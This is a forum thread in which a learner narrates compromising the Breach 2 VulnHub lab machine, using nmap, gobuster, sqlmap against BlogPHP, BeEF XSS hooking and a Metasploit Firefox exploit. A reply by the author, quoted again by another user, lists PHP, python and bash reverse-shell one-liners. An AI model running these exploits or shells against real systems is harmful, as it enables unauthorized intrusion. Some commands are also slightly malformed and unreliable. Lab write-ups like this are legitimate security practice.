

Forum:[Hack Forums](#)

Thread: [How I solved Breach 2 vulnhub machine and learned](#)

mutybyte - August 4, 2017, 3:37 am

Today i solved Breach 2 vulnhub machine and of course i read a lot of solution on internet but that is fair as sir g0blin sir told me to do so in beginning.

Here it is how i solved --->

configure machine setting for both kali and Breach 2 so that they share same network

IP -> 192.168.110.151 <--- Breach

Part 1:-> Information Gathering

nmap -A -p- 192.168.110.151

lots of lots of time it took and got just these details -->

Ports ---> 111,42822,65535

Services ---> rpcbind and ssh

65535 --> ssh

TIP -> when see samba,ssh,http,https then try them first

I tried from ssh [most interesting]

ssh 192.168.110.151 -p 65535

I saw a banner

```
#####  
#           Welcome to Initech Cyber Consulting, LLC           #  
#   All connections are monitored and recorded                 #  
#   Unauthorized access is encouraged                           #  
#   Peter, if that's you - the password is in the source.      #  
#   Also, stop checking your blog all day and enjoy your vacation!  #  
#####
```

Its mean we got username --> Peter and he allow for ssh connection
For password hint ---> the password is in the source

I checked sir g0blin's solution and there he mentioned that he too asked mrb3n creator of this machine and then he and I got password

Password ---> inthesource
Save it and remind it

connecting using ssh

```
ssh peter@192.168.110.151 -p 65535
```

Password -> inthesource

I accessed but that connection closed. Why ? because in ssh configuration ForceConnection is enable which close connection immediately

What i see in banner that Peter who is user check his blog regularly
So blog might be there.

But if blog there then why not HTTP service running. Something important point here i learned

again i checked nmap and waiting a lot of time and got HTTP Service now running

What i learned is keep eye on nmap always whether in starting or again after starting

so when i use "http://192.168.110.151/"
then i saw a image of "Beef"

What is beef ? and what is the use of this in hacking ? I got answered from google that this is tool for client side attack like XSS

Ok so far i got to know that from this machine i will learn client side attack and usage of beef tool so i learned basics of "beef" tool

Part 2 ---> Gathering directories and other information

We can use many tools or scripts for same purpose like nikto,dirsearch.py,gobuster,dirb,dirbuster

I choose gobuster and learned about it. Also used dirb and got same result
gobuster can be use for many purpose

```
gobuster -u http://ip -w wordlist -e -r -l -f
```

Where:

-u <- to use url

-w <- wordlists

-e <- full url

-r <- follow redirection

-l <- show the length of the response.

-f <- append / for directory brute forces.

I got many results but interesting /blog directory

I opened /blog/ directory or page

TIP: Always check blog version and robots.txt and source code

I do same and found version ->

Code + Copyright ©2006 Powered by www.blogphp.net

I use searchsploit to find exploits for same

Code searchsploit blogphp can find exploits

I got these exploits

BlogPHP 2 - 'id' Parameter Cross-Site Scripting / SQL Injection | php/webapps/5042.txt

BlogPHP 2.0 - Privilege Escalation (via SQL Injection) | php/webapps/5909.pl

BlogPHP 2.0 - Persistent Cross-Site Scripting | php/webapps/17640.txt

BlogPHP 1.0 - 'index.php' SQL Injection | php/webapps/27099.txt

BlogPHP 1.2 - Multiple SQL Injections | php/webapps/27117.txt

BlogPHP 2.0 - 'index.php' Multiple Parameter Cross-Site Scripting | php/webapps/31774.txt

=====

I tried first SQLI using SQLMAP[I learned sqlmap because of this vulnhub machine :D]

Some basics of sqlmap ->

Code --dbs <--- check databases

-D dbname

--table <--- check tables

-D dbname -T tablename

--columns <--- check all columns

-D dbname -T tablename -C col1,col2

--dump dump all details

[SQLMAP detils](#)

Then i crack that hash password online

Code 685cef95aa31989f2edae5e055ffd2c9 :::: 32admin

I saved all these credential for future use. But now there is no admin page so where to use this details ?

Clueless

Now i read 2nd exploit "XSS"

I used Beef for this purpose and learned from a tutorial. I also followed this tutorial

"configure_beef_with_metasploit" from google and do these steps
Code leafpad /etc/beef-xss/config.yaml
set Metasploit from false to true

leafpad /usr/share/beef-xss/extensions/metasploit/config.yaml
set host and call ip to our own attacking ip address

Then in msfconsole -->

load msgrpc ServerHost=<our-own-attacking-ip>

when i open beef i automatically understand its instruction and learned beef today may be basic

using script payload which beef instructed me i followed and did same and found Firefox browser version 15 Breach 2 using

Here is XSS Detail i followed

[XSS DETAIL](#)

so using nc -lvvp [port] work good

This is the part where i stucked some time. Waited some times to get response again and again because i was doing a mistake but i figured out my mistake

So when i got Firefox version 15 i used searchsploit and also check solution again then i got this exploit --->

Code exploit/multi/browser/firefox_proto_crmfrequest

Part 3 --> Metasploit Part

i am learning this

learned basic commands today by cheatsheet

so practicing metasploit in this machine is really very informative for me

When i started practice in vulnhub breach 2 machine i failed so many times. again and again my exploit not working. obviously mistake is mine not metasploit's one.

so i take my time in metasploit section

i wait for very long time but user peter seems not using blog

by the way while using exploit i register on blog with this ->

[Metasploit Part using XSS](#)

Code use exploit/multi/browser/firefox_proto_crmfrequest

set uripath /

set srvport 80 or else

set srvhost <attacking_ip>

set lhost <attacking_ip>

set payload firefox/shell_reverse_tcp

set lhost <attacking_ip>

set lport 1234 or any

run / exploit

As it was my first try to metasploit i really learned a lot and also stucked many times,made mistake many times but i solved my mistake myself and after waiting [when solved mistake] i got result positive

junzwtf - August 4, 2017, 4:57 am

Thanks for this mate i was looking for this kind of post :)

mutybyte - August 4, 2017, 5:04 am

Metasploit part Continue

Code <https://ghostbin.com/paste/q4tgpNow> DONE

This is how i learned. I will not stop here i will again root this Breach 2 machine so that i learned more and my practice become powerful. As completing is not my target but gather knowledge is my main target

New things i learned in shell access ways --->

Code `php -r '$sock=fsockopen("<attack_ip>",port);exec("/bin/sh -i <&3 >&3 2>&3");' &`

`python -c 'import pty;pty.spawn('bin/bash')`

`bash -i >& /dev/tcp/victim_ip/port 0>&1`

this trick i learned now but this one will fail in this machine

sw0p - August 4, 2017, 11:37 am

(Aug 4, 2017 05:04 AM)mutybyte Wrote: [\[CITE\]](#) Metasploit part Continue

Code <https://ghostbin.com/paste/q4tgpNow> DONE

This is how i learned. I will not stop here i will again root this Breach 2 machine so that i learned more and my practice become powerful. As completing is not my target but gather knowledge is my main target

New things i learned in shell access ways --->

Code `php -r '$sock=fsockopen("<attack_ip>",port);exec("/bin/sh -i <&3 >&3 2>&3");' &`

`python -c 'import pty;pty.spawn('bin/bash')`

`bash -i >& /dev/tcp/victim_ip/port 0>&1`

this trick i learned now but this one will fail in this machine
very nice dude , keep up learning :) well done!